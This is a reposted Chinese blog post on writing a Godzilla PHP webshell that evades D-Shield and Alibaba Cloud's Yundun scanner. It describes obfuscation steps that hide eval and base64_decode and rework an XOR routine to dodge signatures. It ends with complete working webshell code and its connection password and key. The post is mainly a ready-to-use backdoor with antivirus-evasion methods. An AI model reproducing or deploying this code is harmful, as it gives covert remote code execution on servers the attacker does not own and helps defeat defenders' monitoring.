过D盾哥斯拉webshell编写思路(转载)

0x00 前言这周遇到一个需求——向阿里云服务器上传webshell,因为已经有几个月没有用webshell了(最近项目都是直接rce搞进去然后打隧道),一时间手里没有能开箱即用的免杀马,只能重新编写一个,下面分享一下我编写的过程和思路。
0x01 分析需求webshell的免杀要做两部分:(1)流量免杀——在使用的过程中不被流量审计设备拦截。(2)静态免杀——对代码做混淆,不能还没使用就被一眼看出来。面对更高级的waf可能还要做行为免杀,但是阿里云不需要。

0x02 流量免杀今年hw的时候出了两款流量加密的新webshell管理工具——冰蝎3哥斯拉(Godzilla)。我这里直接选用哥斯拉,因为冰蝎3太出名了,直接用的话有概率会被检测到。哥斯拉相对来说低调一点,而且根据以往经验,阿里云的流量监测功能不是那么与时俱进。

 

 

 

【传送门】使用说明:https://www.freebuf.com/sectool/247104.html下载地址:https://github.com/BeichenDream/Godzilla/releases

 

0x03 静态免杀解决了流量免杀的问题,接下来就要考虑怎么做静态免杀,不然传上去之后直接被杀,或者即使能用,但是被云盾给管理员发短信告警都不是好玩的。静态免杀的思路如下:(1)藏匿敏感函数的关键字:如eval等。
(2)如果是基于工具自带的马来改,那还要改变原有的格式:函数位置、调用顺序、语法特征等,如果让安全设备认出这是魔改的工具马,那细节处理的再好也没用。
(3)代码不要改的太混乱:要把代码尽量伪装成正常的功能,不能此地无银三百两。因为阿里云的云盾只有1和0(有/无后门)两种结果,为了更直观的描述编写过程,这里采用最新版本的D盾进行测试,有1-5级报毒结果。一般来说D盾3级以下就可以过阿里云了。

0x04 开始编写(1)去除格式特征先看哥斯拉马原始的样子。

 

 

 

 

首先要在保证功能一样的前提下,尽量去除原版哥斯拉马的格式特征。我这里做的修改为:

(1)修改变量名、函数名;(2)更换函数位置;(3)取消Q和O函数的定义;
(4)合并最后的三个echo;
(5)调整空行与每行开头的空格风格;

 

 

 

祭出D盾扫一下,看来改的还不够……

 

 

 

(2)大动作去除格式特征
既然小打小闹解决不了问题,那现在改个大的,随便选中一个函数,拆分成变量函数的形式来执行,以此降低特征值:
(1)想办法让$RESULT="base64_decode";
(2)把base64_decode(参数)替换成$RESULT(参数)的形式;

 

 

 

祭出D盾再来一下,虽然还是级别5,但至少不是已知后门,说明D盾已经不认识这是哥斯拉马了,初步目标达成。

 

 

 

(3)封装变量函数看来变量函数的形式已经很受关注了,那我们封装一下,将变量函数封装到普通的自定义函数中。

 

 

 

看来颇有成效。

 

 

 

(4)定位可疑点如果只是到此为止我怎么好意思拿出来水文章呢,我们的目标是级别0。首先用二分法定位到D盾觉得哪里可疑,发现当删除了logrote函数后,D盾不再报毒。

 

 

 

 

 

 

(5)修改可疑点但是删掉之后哥斯拉马就无法正常使用了,那就想办法改造一下这个函数,作为参考去网上找了一个别人写的异或函数,D盾扫一下是不可疑的。对照着改了一下(注释是网上找的函数):

 

 

 

发现D盾有点烦人了。

 

 

 

(6)万能的中间层经过排查发现主要区别是下面:网上的函数是.=,我的没有点,一点的差别导致了D盾的一级报警。

 

 

 

如果只是简单的加点,哥斯拉马就又不能正常运行了(因为改变了原本的逻辑),思考了一下,这一句的可疑点应该在于等号前后出现了相同的$result[$i],让D盾觉得不是正常的功能,那使用中间变量的方式使等号前后不会出现相同内容试试:

 

 

 

完美撒花*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。

 

 

 

0x05 完整代码【使用方法】
哥斯拉php马

密码:access_log

密钥:iloveyouyou

有效载荷:PhpDynamicPayload

加密器:PHP_XOR_BASE64

 

<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
$LOGNAME='access_log';
$SESS='ghco9xdnaco31gmafukxchph';
$md50_16='eccc97249feff381';

function modules($opt){
    $FINALLY='decode';
    @$a=$_POST['ALL']='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $ELLCTION=$a[1].$a[0];
    $ALLCTION='se';
    $ELLCTION=$ELLCTION.$ALLCTION;
    $num=8*8;
    $ALLCTION='_';
    $ALLs=$ELLCTION.'.'.($num).'.'.$ALLCTION.'.'.$FINALLY;
    $EXPLODE = explode('.',$ALLs);
    $RESULT = $EXPLODE[0].$EXPLODE[1] .$EXPLODE[2]. $EXPLODE[3];
    return $RESULT($opt);
}
if (isset($_POST[$LOGNAME])){

    function logrote($result,$k){
        $len = strlen($result);
        for($i=0;$i<$len;$i++) {
            $k2 = $i+1&15;
            $temp = $result[$i];
            $result[$i] = '';
            $result[$i] = $temp^$k[$k2];
        }
        return $result;
    }

    $FILES= modules(
                logrote(modules($_POST[$LOGNAME]),$md50_16)
            );

    if (isset($_SESSION[$SESS])){
        $Sess=$_SESSION[$SESS];
        $KONW=explode('|',$Sess);
        class LOGSAVE{public function nvoke($temp) {eval($temp."");}}
        $EXEXL=new LOGSAVE();
        $EXEXL->nvoke($KONW[0]);
        echo substr(md5($LOGNAME.$md50_16),0,16).base64_encode((logrote(@run($FILES),$md50_16))).substr(md5($LOGNAME.$md50_16),16);

    }else{
        $_SESSION[$SESS]=$FILES;
    }
}
?>

 

0x06 后记

这是11.23--11.29这周的更新

免杀马这种东西都是见光死,放出来之后很快就会被查杀,但是免杀的思路不会,一个好的思路能用很久——授人以鱼不如授人以渔。

 

攻防是一体的,当你不知道怎么做免杀的时候,不妨把自己当成防守方,切换思路的想一下检测的规则应该怎么写,当你知道该怎么检测,顺其自然的也就知道怎么绕过检测了。



 

posted @ 2021-04-07 16:14  anoldcat  阅读(816)  评论(0)    收藏  举报